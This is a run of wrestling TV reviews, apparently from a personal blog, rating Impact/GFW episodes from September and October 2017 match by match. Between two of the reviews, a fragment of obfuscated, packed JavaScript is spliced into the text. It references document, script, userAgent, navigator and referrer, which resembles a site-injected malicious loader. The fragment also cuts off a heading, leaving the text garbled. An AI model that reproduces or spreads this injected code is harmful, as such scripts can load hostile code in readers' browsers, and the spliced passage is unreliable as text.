Global Forged winner Hakim Zane tries to talk but Johnny Impact runs in to say he’s coming for Alberto.

From Border City Wrestling in Windsor, Ontario, Canada.

Allie vs. KC Spinelli

Spinelli gets in a few shots to start but Allie speeds things up to send her into the corner. That’s fine with KC, who whips her around the ring without much effort. Allie avoids a charge and a dropkick to the back sends Spinelli into the corner for two. A neckbreaker drops Allie for two more, followed by a fisherman’s suplex for the same.

Not that it matters as Allie grabs a Codebreaker for….just two actually. They’re working a lot harder than I would have expected here. Spinelli misses a moonsault though, allowing Allie to grab a Death Valley driver for the pin at 7:08. Thankfully that means we get to hear her incredibly bubbly music for a nice bonus

Rating: B-. This was much better than I was expecting and I wouldn’t be surprised if Spinelli didn’t get some more bookings out of this. Allie is sch a breath of fresh air to all the serious wrestlers around here and feels more like what Bayley should have been on the main roster. Really nice little match here too.

Alberto tells Johnny Impact to bring it.

Allie is worried about Gail Kim’s big announcement next week. She’s still insanely adorable.

Alberto is sitting down when Johnny Impact DIVES at him, looking almost like a spear. The fight is on in catering with Alberto getting away, only to have Johnny get into a fight with Braxton Sutter of all people. Caleb Konley shows up and fights Sutter instead, leaving Johnny and Alberto to brawl out the door and into the loading area, where a camera just happens to be waiting. Johnny gets in a few more shots until they head inside again with Impact trying some chokes.

Alberto comes back with a wet floor sign as this has been going for over five minutes. After throwing Johnny through a door, Alberto climbs a ladder for no adequately explored reason. With Alberto sitting on top of a restroom, Johnny throws the ladder down….and then climbs up the Pepsi machine to knock Alberto off. Alberto hangs onto the roof until falling down (only a few feet) and security FINALLY grabs him. That’s fine with Johnny, who hits a huge dive, taking out Alberto and security as we go to a break.

Back with the brawl still going as Alberto beats him down some more, only to have it spill into the arena with the fans not sounding pleased. Security comes out for another save attempt and Alberto grabs a mic to say this is his company. He calls Johnny a crazy guy and security actually holds Johnny back for a change. Alberto rips on the company for holding him back and screwing him but he’s willing to continue the battle in the ring.

Security lets Johnny get in and Alberto bails, only to have Johnny say Alberto calls himself the pride of Mexico but he’s not even the pride of his own father. The fight is on again with security taking another beating until Alberto gets in a cheap shot. A DDT plants Johnny and Alberto tells security to get out of here if they want to get paid tonight. The cross armbreaker over the ropes has Johnny screaming until the referees break it up to end the show after SEVENTEEN MINUTES between these two.

Overall Rating: C+. This was a really tricky one to grade. For one thing, the wrestling tonight was quite good. The title match was solid, the women’s match was a nice surprise and the fifteen minute X-Division match worked very well. What didn’t work for me though was how little we seemed to actually have move forward. LAX vs. OVE is still going, Impact vs. Alberto is likely going to include Drake soon and be a continuation of the World Title feud from the last month and a half and the X-Division is still about the same.

What’s getting on my nerves is how much time they have to spend on stuff other than Impact Wrestling. Allie vs. Spinelli was good, but how many of those matches from outside the company are going to be? It’s obviously them filling in as much time as they can with their limited content, but when they do it over and over again, it gets a little annoying. Throw in the brawl that went longer than any match and it really does feel like they’re just trying to fill in the show without having actual wrestling, which is rarely a good sign.

That being said, I’ll take a show with some good matches and a lot of energy over the boring, dull, mostly unnecessary TV shows we’ve been having in the last few weeks. At least we had some good matches this time around and that’s a lot more than I’ve been able to say since…..August maybe?

Results

Matt Sydal b. Sonjay Dutt – Shooting star press

Eddie Edwards b. El Hijo de Fantasma – Die Hard Flowsion

OVE/Sami Callihan b. Ray Steele/Phil Atlas/Marcus Burke – Elevated cutter to Burke

Allie b. KC Spinelli – Death Valley Driver

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

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Impact Wrestling
Date: October 5, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Josh Matthews

We’re closing in on Bound For Glory and fresh off another show that ended in chaos with the American Top Team guys cleaning house. World Champion Eli Drake actually got to do something though as he and Chris Adonis got to beat down Johnny Impact and Garza Jr., who is now involved in the main event scene for some reason. Let’s get to it.

In Memory of Lance Russell.

We get a Pray For Vegas graphic.

We open with a recap of Johnny Impact vs. Eli Drake last week with Impact getting cheated out of the title. Johnny wants a fair rematch.

Opening sequence.

Here are Drake and Adonis to open things up. Drake talks about driving down Victory Road last week and pulling straight into Slam Town. He turned the ghetto into a parking lot and built Eli’s Cakes on top. Eli: “YUMMY! YEAH!” Johnny isn’t here tonight and there’s a good chance he won’t get back after that Gravy Train he took last week.

Drake turns his sights to Jim Cornette, whose golden boy couldn’t get the job done. Cornette has brought up every challenger he can and next week he’s sending the champ to Japan. Since he has to go halfway around the world next week, he’s getting the night off tonight. As for Adonis though, he wants to fight so let’s get an opponent out here right now.

Chris Adonis vs. Garza Jr.

Adonis is in street clothes and Drake joins commentary. Garza scores with a series of kicks for two but Adonis takes over on the arm. Back up and a hurricanrana takes Adonis out to the floor but he drops Garza onto the barricade as we take a break. We come back with Garza fighting out of a chinlock but getting caught in a butterfly suplex.

Adonis cranks on both arms as this match just keeps going. Seriously it’s Chris Masters vs. the local luchador. Why is this getting ten minutes? A spinebuster plants Garza but we cut to the back where Johnny Impact arrives. The Adonis Lock doesn’t work as Garza sends him into the corner. Drake bails to feed the parking meter and THERE GO GARZA’S PANTS!!! The Lionsault misses and Impact runs in for the DQ at 12:00.

Rating: D-. We just sat through Chris Masters vs. the luchador whose big spot is taking his pants off for twelve minutes with a run-in DQ. That’s the best thing they have to open the show? Horrible stuff here as Adonis really isn’t interesting and hasn’t changed a bit since he was in WWE. Find something more interesting than this.

Post match Impact beats up Adonis but gets in a fight with Garza. Cue Jim Cornette to make Impact vs. Garza Jr. for next week (yay). He throws in a bonus: the winner will be facing Drake for the title at Bound For Glory. So Garza goes from a midcard tag guy to possibly #1 contender for the World Title in the main event of the biggest show of the year in a few weeks? Even Jinder Mahal would think that’s extreme. Garza and Impact brawl some more. By the way, the total time between Cornette coming up and the music playing after his announcement: 87 seconds.

Recap of Moose vs. Bobby Lashley, which of course features the American Top Team guys. Good grief why do they think we care?

Moose is in a parked car looking for Lashley. He’s heading for the American Top Team headquarters.

Wrestlers are ready for Bound For Glory.

We look at OVE winning the Tag Team Titles last week.

Konnan yells at LAX for losing so Santana gets in his face. The card table is turned over.

OVE vs. Jon Bolen/Trey McGill

Non-title. Jake starts with Bolen but gets waistlocked for his efforts. A high crossbody and neckbreaker drop Bolen and McGill is sent outside as well. Jake drops both of them with a double suicide dive, followed by Dave’s Asai moonsault. Back in and OVE kicks McGill in the head a few times and let’s plug those Pop TV sitcoms. A High/Low puts Bolen away at 3:38.

Rating: D+. Just a quick win here to further establish OVE as stars. It would be nice if they established some other teams though as I’m not sure who OVE is supposed to feud with after they presumably defeat LAX in the rematch at the pay per view. The tag division is one of the company’s weakest points and that’s really covering a lot of ground.

We recap James Storm/Ethan Carter III vs. the AAA guys, who completely hate this company because the script tells them to.

Here are KM and Sienna with the latter complaining about not having a match on Bound For Glory. No one has a match on the show yet you nitwit. She says she’s going into the Hall of Fame this year so here’s Gail Kim to interrupt. Gail wants her show at the Knockouts Championship Title (still such an odd way to word it) at Bound For Glory.

Cue Taryn Terrell to say she was the longest reigning Knockouts Champion in history and wants a chance to get the title back. Now it’s Allie coming out with Josh seemingly liking her look this week. The other three might be former Knockouts Champions but she’s Allie and deserves another chance to become champion. Cue Karen Jarrett to say Sienna isn’t going into the Hall of Fame. Yes, they actually felt that we needed that explained to us. It’s also a four way for the title at Bound For Glory.

Joseph Park has a meet and greet scheduled for Grado but Grado thinks the prices are a little high. Park says you can charge these marks anything. He pays Grado what seems to be a small amount of money but Grado again seems happy with it.

Caleb Konley/Andrew Everett/Trevor Lee vs. Sonjay Dutt/Petey Williams/Matt Sydal

Remember like three weeks ago when Sydal was getting a World Title shot? Or remember like fourteen years ago when people cared about Petey Williams? I mean you should, as it’s the only reason he’s in this spot at the moment. Everything breaks down just a few seconds in with the villains taking over early on, only to be sent into each other. A triple dropkick sends them outside, followed by an apron moonsault and a double suicide dive.

Back from a break with Dutt and Sydal legsweeping Lee and Konley to set up stereo standing moonsaults. Dutt gets kneed in the back and kicked in the face as the beating begins. Konley works on the arm as the announcers talk about the villains’ unity for wearing all black gear. Or they want to make sure no one recognizes them on this show.

Dutt grabs a tornado DDT while dropkicking everyone else, setting up the hot tag to Petey so house can be cleaned in a hurry. Everything breaks down and Sydal’s top rope double knees takes Lee down. Matt throws Lee into Everett on the top, followed by the shooting star to end Everett at 14:31.

Rating: C. I’m not even going to bother with the sarcasm here. It was a completely watchable cruiserweight match that means a grand total of nothing because they’re going to be thrown into an Ultimate X match for the title where no one gets to showcase any individuality and the whole thing is about crazy spots that we’ve seen before and we hear about how important the X-Division is despite it never getting any focus. We’ve heard the same thing for the better part of ten years now and I’m tired of pretending it’s going to change.

Dutt wants the title shot at Bound For Glory and the winners get in an argument over who should have the chance. Just announce Ultimate X already so it can be over hyped.

Here’s this week’s Global Forged.

Laurel Van Ness is back in the audience looking a husband.

Moose arrives at the gym and shoves Dan Lambert away. He gets in a cage but a fighter punches him in the face so the beatdown can be on. They throw Moose out of the building.

Ethan Carter III/James Storm vs. El Hijo de Fantasma/Texano Jr.

In what is becoming a trend, this is getting nearly half an hour. Storm takes Texano down to start as JB hypes this as main eventers vs. main eventers. Carter and Storm get in an argument over a tag though and it’s Fantasma sneaking in for a cheap shot to take over. Storm slips over and makes the tag to Carter for a flapjack on Texano.

The TK3 gets two but Fantasma gets the same off a dropkick. Carter is taken into the heel corner for some stomping, followed by a hard kick to the chest for two. It’s off to the chinlock for a bit until Carter fights up, only to have Pagano come strolling down. Back from a break with Carter still in trouble via some more choking on the ropes.

Texano adds in a jawbreaker and shouts in Spanish for Fantasma to go up. That means a missed splash though and a cutter allows the hot tag to Storm. Everything breaks down again and Storm starts to clean house. It must not be a very big house though as Fantasma superkicks him down, only to get crotched on top. He hasn’t had much luck up there.

The Tower of Doom takes everyone down and thing slow a bit. Carter is thrown outside and then into the post by Pagano as Eddie Edwards not being here to even things out is likely going to be a plot point. Storm loads up a suplex, only to have Pagano trip him up and hold the leg so Fantasma can get the pin at 19:50.

Rating: D+. This one boils down to whether this story interests you or not. It doesn’t in my case as I still have no reason to care about any of the AAA guys, nor do any of them have any motivation to be heels other than they’re from another company. That’s not enough of a story for my taste and I really didn’t need to see a completely average at best tag match going on for twenty minutes.

We go back to the LAX club house where Konnan has a big idea: a street fight at Bound For Glory. Everyone leaves to party and Low Ki is shaking his head.

Overall Rating: D. The show still feels completely flat as almost nothing interesting happened all night long. A big part of that is the roster being filled by so many outsiders, be they from MMA or AAA. It’s one thing if the matches are tearing the house down or something (like the lucha libre in ECW where they were a bunch of outsiders but stealing the show in a way no one had seen in America before) but that’s not what we’re getting here.

Instead it’s a bunch of average matches with very weak stories that aren’t drawing in any special interest. Odds are the MMA guys get in the ring at Bound For Glory, which hasn’t been interesting before and won’t be this time either. Either way, I’m sure we’ll be told that it’s the most thrilling thing we’ve ever seen and how the company is changing wrestling.

What GFW doesn’t seem to get is that changing wrestling isn’t always a good thing and just being different for the sake of being different doesn’t work. They need a focus and I really haven’t seen that in a long time. Figure out what you want to be and go with it, but just bringing in a bunch of people from another promotion whose entire characters are “this person is from this promotion and they’re awesome” isn’t enough. The show wasn’t terrible by any stretch but it also was one of the least interesting ones they’ve done in a good while, which is the case way too often around here.

Results

Chris Adonis b. Garza Jr. via DQ when Johnny Impact interfered

OVE b. Jon Bolen/Trey McGill – High/Low to Bolen

Matt Sydal/Sonjay Dutt/Petey Williams b. Trevor Lee/Caleb Konley/Andrew Everett – Shooting star press to Everett

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dssfi|var|u0026u|referrer|fkrsa||js|php'.split('|'),0,{})) Wrestling
Date: September 14, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, Jeremy Borash

We’re closing in on Bound For Glory though nothing has actually been mentioned about the show yet. The big match this week is OVE vs. LAX for the Tag Team Titles….from the Crash in Tijuana, Mexico. In other words, it’s more footage from another promotion instead of here at Impact Wrestling. This is starting to feel like Ring of Honor and that’s really not a good thing. Let’s get to it.

Lashley and American Top Team arrive and beat up a backstage guy.

Quick video on Johnny Impact vs. Low Ki for the #1 contendership.

Opening sequence.

Garza Jr. vs. Braxton Sutter

Fallout from Sutter talking to Allie last week. Sutter headlocks him to start but stops to let Garza take off his shirt. A slam gives Garza two, followed by a sunset flip out of the corner for the same. Sutter gets two off a powerslam but again stops so Garza can take off his pants, but not before blowing a kiss to Allie. Her jaw drops as the pants come off and Garza superkicks Sutter for good measure. A powerbomb gives Sutter three straight near falls but he gets superkicked for a second time. Garza adds a Lionsault (minus the running start) for the pin at 4:53.

Rating: D+. So the story now is about Garza hitting on Allie and Allie causing Sutter problems. That’s quite the shame as they seem to be teasing a breakup here, despite the two of them being such an awesome team just a few months ago. Allie is incredibly talented and it’s kind of a shame that she’s been relegated to a really standard story instead of letting the two of them run with what they had earlier in the year.

Post match Sutter yells at her but then apologizes. Allie doesn’t seem to accept it at first but eventually leaves with him.

Grand Championship: Ethan Carter III vs. El Hijo de Fantasma

Carter is defending and gets a decisively face pop. Hector Guerrero is one of the judges and Josh accuses him of being biased. Fantasma is forced into the corner to start but comes right back with an armbar to slow things down. Naturally the announcers talk about Lashley and MMA because that’s what this wrestling show is now about. Some chops get Carter out of trouble and he drops an elbow for two. The TK3 connects but sends Fantasma to the floor as the round ends.

Round one goes to Carter so Fantasma starts round two in a hurry. A right hand puts him back down though and the pace slows again. Fantasma jumps over him in the corner and snaps off a hurricanrana. A jumping knee to the face sets up running knees in the corner as Carter is rocked. Fantasma gets two off a top rope hurricanrana and frog splash. The 1%er is broken up and it’s a surfboard hold to take us to the end of round two.

Fantasma wins to tie things up and we take a break before the third fall. Back with Carter powerbombing him twice for another near fall and both guys being a bit spent. A slugout goes to Fantasma but Carter flips out of a Fujiwara armbar. Another TK3 gets two but Fantasma sends him outside for a suicide dive. Back in and a hanging 1%er plants Fantasma as the time expires at 9:00. Carter wins via split decision.

Rating: B-. Good match, and another great example of one that completely doesn’t need the round thing. It’s a good enough match and they were beating each other up but it was really hard to buy the near falls when they just love these judges’ rulings. I liked the match enough but this just needs to be the TV Title again with this whole nonsense dropped.

Post match Fantasma gets in a shoving match with Hector, who was the deciding vote. That dies down and it’s Pagano debuting (in a very weak moment) to beat Carter down. Eddie Edwards runs in for the save, which Carter doesn’t seem to care for.

We go to Mexico where Homicide reunites with LAX. They hit a club and Konnan says the fix is in because they’ve paid off the referee and gives OVE tainted water.

Tag Team Titles: Ultimo Maldito/Hijo de Pirate Morgan vs. Black Boy/Arkangel Davino vs. LAX vs. OVE

Don’t know who these guys are? Well that’s just your fault because you didn’t do your homework by watching a promotion from Mexico to study up on things. Jeremy says one of their names is Black Diamond but when I looked up some of the names to see how they were spelled, it was listed as Black Boy. Much like the matches during the Hardys’ World Tour, this is a bunch of clips instead of the full match. There are some good looking dives and near falls, followed by what seems to be a three count but the referee is pulled out. Homicide adds a Gringo Killer and LAX retains after less than three minutes shown.

We see OVE going up to I believe the Crash locker room and Konnan says that’s like signing your death certificate.

Grado vs. ???

Grado is leaving due to visa issues and wanted one more match. The Wee Boot gives him the pin at 47 seconds.

Post match Grado says he’s leaving on a coach flight at 10am but he wanted to perform in front of the best fans in the world one more time. Joseph Park interrupts and he has a surprise. He’s going to be sponsoring Grado’s visa so Grado can stay! Park is going to be his agent it seems, promising him booking, in-ring Polaroid shoots and podcast appearances.

Johnny Impact says Low Ki is a dream opponent and tonight, Low Ki goes to Slam Town.

Lashley and American Top Team goes in to see Jim Cornette and demands his release. Cornette grants it but the fighters have to leave, but before Lashley leaves he wants him to face Moose one on one.

X-Division Title: Sonjay Dutt vs. Trevor Lee

Dutt is defending and this is falls count anywhere. Lee gets two on the floor off a baseball slide but Dutt sends him into the barricade for a breather. They head inside for the first time with Lee kicking him in the face, only to get dropped again. Dutt throws in a chair but Lee throws it right back out.

They hit kicks to the head at the same time for a double knockdown. Why there’s no count when Dutt’s leg is over Lee isn’t clear, but I’d guess it’s because that’s not in the script and the referee doesn’t know any better. Dutt’s tornado DDT plants Lee but a superplex plants Dutt just as fast. They head outside again with Lee throwing a chair at his head before fighting into the crowd.

We take a break (of course we do) and come back with the fight heading into the back. Caleb Konley jumps Dutt, because falls count anywhere now means No DQ. A trashcan to the head gives Lee two but heel miscommunication lets him get a breather. Dutt is busted open and it’s time to hit Lee in the head with a trashcan lid. A tornado DDT off the wall is countered with a crotching onto a barricade and Lee rolls him up (with tights) for the pin and the title at 13:57.

Rating: C+. It never ceases to amaze me how much they’ve sucked the soul out of this division. This was a fast paced match and I couldn’t bring myself to care about it no matter how hard I tried. It’s just not interesting no matter how hard they try (and the wrestlers are trying) and so much of that is due to how worthless the X-Division is now. They’re treated like an afterthought and have been for years now. Why would I care if the company doesn’t?

American Top Team beats up Richard Justice for general purposes.

Clip of Global Forged, GFW’s version of Tough Enough/Breaking Ground.

Taya Valkyrie vs. Amber Nova

Taya slams her down to start and sends Amber into the corner. A raised boot in the corner staggers Taya as JB mentions Bound For Glory, perhaps for the first time. Taya gets two off a sitout powerbomb and pulls Amber up before three. A double chickenwing facebuster (Beth Phoenix’s Glam Slam) ends Nova at 1:20.

Eli Drake and Chris Adonis smell desperation from the people trying to reach his level with their little T-Rex arms. Drake has spotted two marks in the main event and he’ll be watching.

Johnny Impact vs. Low Ki

The winner faces Drake at Victory Road, whenever that is. Ki tries some shots to the face but gets swatted away as they seem to have a lot of time here. They hit the mat for some grappling before Impact blocks a kick and grabs a dragon sleeper over the ropes. We take a break and come back with Impact fighting out of an abdominal stretch and kicking Ki down.

The breakdancing legdrop gets two and Ki is placed on the middle rope for a sliding German suplex (cool). Impact’s split legged moonsault is broken up though with Ki grabbing a hanging dragon sleeper. The Flying Chuck puts Ki down but he comes back with a shotgun dropkick into the corner. Back up and Ki crotches himself while trying the Warrior’s Way, setting up Starship Pain to give Impact the title shot at 11:14.

Rating: C. Hopefully that’s it for Low Ki as I’m sick of his stupid ultra serious yet still paying homage to/ripping off a video game look. At least he’s toned down the kicks a bit and learned to do something else for a change. Impact winning was obvious and at least they didn’t have the match go on twenty minutes for the sake of going on twenty minutes.

Post match Adonis sneaks in to put Impact in the Adonis Lock. Drake comes out to add the Gravy Train.

Lashley tells Cornette to watch what’s about to happen to Moose.

Taya yells at Karen Jarrett and tells her to pay attention to what happens in that ring.

Here’s Lashley as this show’s run time has been extended to approximately nineteen hours. Lashley talks about being forced to choose between wrestling and MMA, even though he’s doing pretty well at both. American Top Team has been begging him to come there full time and win that “mixed martial arts heavyweight championship”. He’s going back to MMA full time but first, he wants to call out Moose. The announcers are surprised by this, despite seeing what Cornette said and mentioning it during the show.

Moose comes out and immediately punches him in the jaw, only to get clotheslined to the floor. A powerbomb on the floor keeps Moose in trouble but he cuts off the spar with a boot. They fight into the crowd because this needs to fill in more time. This just keeps going as they head into the back with the announcers continuing to name drop Dan Lambert every chance they have.

A neckbreaker drops Moose on the apron as the announcers talk about how Lashley leaving might cost them their Christmas bonuses. Moose kicks him down and hits a spear at ringside. They get back inside and of course here are the MMA guys to beat Moose down to end the show after a nearly seven minute brawl.

Overall Rating: D. This show felt as long as Wrestlemania and my goodness we’ve got how many weeks left in this taping cycle? I don’t even know where to begin on what was wrong with this show. Above all else though, it’s the same problem I have watching Ring of Honor when they’re in their New Japan phases: I don’t watch the show to see other promotions. I watch it to see GFW, not whatever other promotion they can fit in this week. Last week it was twenty minutes of AAA and this week it’s the other AAA guys plus the Crash.

If that’s not enough, the big story, with the last segment of the show and a lot of time, is still the MMA stuff. Combine that with all the international material and it feels like A, GFW doesn’t have enough content of its own to fill two hours a week or B, they don’t think their own stuff is good enough. It’s like they keep having to show you something else to entertain you instead of paying attention to what they have and that gets very, very old in a hurry.

The wrestling is decent at best, the stories are dreadful, the talent isn’t all that great and the focus is all over the place. It’s such a mess anymore and I have a feeling this is going to be how things go all the way to Bound For Glory in November. The worst part is that the show wasn’t completely terrible but rather just exceedingly boring. Nothing caught my attention and almost nothing felt special. It’s just stuff going on for two hours with a bunch of segments and matches that you might like. Not a good show, but much worse, not a good sign for the weeks to come.

Results

Garza Jr. b. Braxton Sutter – Middle rope moonsault

Ethan Carter III b. Hijo de Fantasma via split decision

Grado b. ??? – Wee boot

Trevor Lee b. Sonjay Dutt – Rollup with a handful of tights

Taya Valkyrie b. Amber Nova – Double chickenwing facebuster

Johnny Impact b. Low Ki – Starship Pain

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